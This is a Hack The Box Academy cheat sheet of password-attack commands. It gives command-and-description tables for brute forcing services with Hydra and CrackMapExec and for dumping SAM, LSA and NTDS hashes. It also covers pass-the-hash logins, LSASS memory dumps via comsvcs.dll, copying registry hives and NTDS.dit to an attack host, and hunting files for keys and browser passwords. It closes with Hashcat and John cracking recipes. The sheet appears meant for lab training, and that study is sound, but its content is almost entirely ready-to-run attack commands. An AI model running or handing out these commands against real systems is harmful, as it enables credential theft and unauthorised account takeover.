HACKTHEBOX

PASSWORD ATTACKS CHEAT SHEET

Connecting to Target

Command	Description
`xfreerdp /v:<ip> /u:htb-student /p:HTB_@cademy_stdnt!`	CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol.
`evil-winrm -i <ip> -u user -p password`	Uses Evil-WinRM to establish a Powershell session with a target.
`ssh user@<ip>`	Uses SSH to connect to a target using a specified user.
`smbclient -U user \\\\<ip>\\SHARENAME`	Uses smbclient to connect to an SMB share using a specified user.
`python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/`	Uses smbserver.py to create a share on a linux-based attack host. Can be useful when needing to transfer files from a target to an attack host.

Password Mutations

Command	Description
`cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist`	Uses cewl to generate a wordlist based on keywords present on a website.
`hashcat --force password.list -r custom.rule --stdout > mut_password.list`	Uses Hashcat to generate a rule-based word list.

Command	Description
`./username-anarchy -i /path/to/listoffirstandlastnames.txt`	Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.
`curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt`	Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords.

Remote Password Attacks

Command	Description
`crackmapexec winrm <ip> -u user.list -p password.list`	Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.
`crackmapexec smb <ip> -u "user" -p "password" --shares`	Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.
`hydra -L user.list -P password.list <service>://<ip>`	Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.
`hydra -l username -P password.list <service>://<ip>`	Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.
`hydra -L user.list -p password <service>://<ip>`	Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.
`hydra -C <user_pass.list> ssh://<IP>`	Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.
`crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam`	Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.

Command	Description
`crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa`	Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.
`crackmapexec smb <ip> -u <username> -p <password> --ntds`	Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.
`evil-winrm -i <ip> -u Administrator -H "<passwordhash>"`	Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of `Pass-The-Hash` attack.

Windows Local Password Attacks

Command	Description
`tasklist /svc`	A command-line-based utility in Windows used to list running processes.
`findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml`	Uses Windows command-line based utility findstr to search for the string "password" in many different file type.

Command	Description
`Get-Process lsass`	A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line.
`rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full`	Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials.
`pypykatz lsa minidump /path/to/lsassdumpfile`	Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file.

Command	Description
`reg.exe save hklm\sam C:\sam.save`	Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system).
`move sam.save \\<ip>\NameofFileShare`	Uses move in Windows to transfer a file to a specified file share over the network.
`python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL`	Uses Secretsdump.py to dump password hashes from the SAM database.
`vssadmin CREATE SHADOW /For=C:`	Uses Windows command line based tool vssadmin to create a volume shadow copy for `C:`. This can be used to make a copy of NTDS.dit safely.

Command	Description
`cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit`	Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of `C:`.

Linux Local Password Attacks

Command	Description
`for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done`	Script that can be used to find .conf, .config and .cnf files on a Linux system.
`for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done`	Script that can be used to find credentials in specified file types.
`for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done`	Script that can be used to find common database files.
`find /home/* -type f -name "*.txt" -o ! -name "*.*"`	Uses Linux-based find command to search for text files.
`for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done`	Script that can be used to search for common file types used with scripts.
`for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done`	Script used to look for common types of documents.
`cat /etc/crontab`	Uses Linux-based cat command to view the contents of crontab in search for credentials.

Command	Description
`ls -la /etc/cron.*/`	Uses Linux-based ls -la command to list all files that start with `cron` contained in the etc directory.
`grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"`	Uses Linux-based command grep to search the file system for key terms `PRIVATE KEY` to discover SSH keys.
`grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"`	Uses Linux-based grep command to search for the keywords `PRIVATE KEY` within files contained in a user's home directory.
`grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"`	Uses Linux-based grep command to search for keywords `ssh-rsa` within files contained in a user's home directory.
`tail -n5 /home/*/.bash*`	Uses Linux-based tail command to search the through bash history files and output the last 5 lines.
`python3 mimipenguin.py`	Runs Mimipenguin.py using python3.
`bash mimipenguin.sh`	Runs Mimipenguin.sh using bash.
`python2.7 lazagne.py all`	Runs Lazagne.py with all modules using python2.7
`ls -l .mozilla/firefox/ | grep default`	Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword `default` using grep.

Command	Description
`cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .`	Uses Linux-based command cat to search for credentials stored by Firefox in JSON.
`python3.9 firefox_decrypt.py`	Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9.
`python3 lazagne.py browsers`	Runs Lazagne.py browsers module using Python 3.

Cracking Passwords

Command	Description
`hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt`	Uses Hashcat to crack NTLM hashes using a specified wordlist.
`hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt --show`	Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output.
`unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes`	Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking.
`hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked`	Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked.
`hashcat -m 500 -a 0 md5-hashes.list rockyou.txt`	Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file.
`hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked`	Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked.

HTB ACADEMY CHEATSHEET

Command	Description
`python3 ssh2john.py SSH.private > ssh.hash`	Runs ssh2john.py script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash.
`john ssh.hash --show`	Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal.
`office2john.py Protected.docx > protected-docx.hash`	Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash.
`john --wordlist=rockyou.txt protected-docx.hash`	Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash.
`pdf2john.pl PDF.pdf > pdf.hash`	Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked.
`john --wordlist=rockyou.txt pdf.hash`	Runs John in conjunction with a wordlist to crack a pdf hash.
`zip2john ZIP.zip > zip.hash`	Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash.
`john --wordlist=rockyou.txt zip.hash`	Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash.
`bitlocker2john -i Backup.vhd > backup.hashes`	Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes.
`file GZIP.gzip`	Uses the Linux-based file tool to gather file format information.
`for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2>/dev/null | tar xz;done`	Script that runs a for-loop to extract files from an archive.